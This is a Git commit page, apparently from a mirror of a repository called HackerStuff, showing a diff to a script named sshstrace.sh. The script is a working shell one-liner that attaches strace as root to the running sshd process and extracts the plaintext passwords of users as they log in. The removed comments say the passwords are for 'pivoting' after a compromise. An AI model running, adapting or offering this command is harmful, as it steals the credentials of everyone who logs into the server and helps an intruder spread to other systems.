weyne/HackerStuff
1
0
Fork 0
mirror of https://github.com/0xdade/HackerStuff.git synced 2025-10-29 16:59:27 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update sshstrace.sh

Browse Source
This commit is contained in:
dade 2017-07-25 14:58:56 -07:00 committed by GitHub
parent b4e76815de
commit ba45d0b945
1 changed files with 2 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
Get-Passwords/sshstrace.sh
View File

@ -1,9 +1,5 @@
#!/bin/bash
#
# In a facepalm revelation, it has come to my attention that you can use strace as root to collect passwords from sshd
# Passwords are useful for pivoting and can be significantly faster than cracking /etc/shadow
# I think I fixed the random char padding problem, but now perl is required
# Turns out it also doesn't work if the password is entirely numbers.
#
# This one seems pretty effective for OpenSSH 6 and 7.
strace -s 128 -fp `cat /var/run/sshd.pid` 2>&1 | grep --line-buffered -oP 'write\(4, "\\0\\0\\0\\[\d]*[^\\]{2,}[^\\0]"' | perl -pe 's/write\(4, "\\0\\0\\0\\([\d]+|[\w])(.*)"/\2/g'
strace -xx -fp `cat /var/run/sshd.pid` 2>&1 | grep --line-buffered -P 'write\(4, "\\x00' | perl -lne '$|++; @F=/"\s*([^"]+)\s*"/g;for (@F){tr/\\x//d}; print for @F'|grep --line-buffered -oP '.{8}\K([2-7][0-9a-f])*$'|grep --line-buffered -v '^64$'|perl -pe 's/([0-9a-f]{2})/chr hex $1/gie'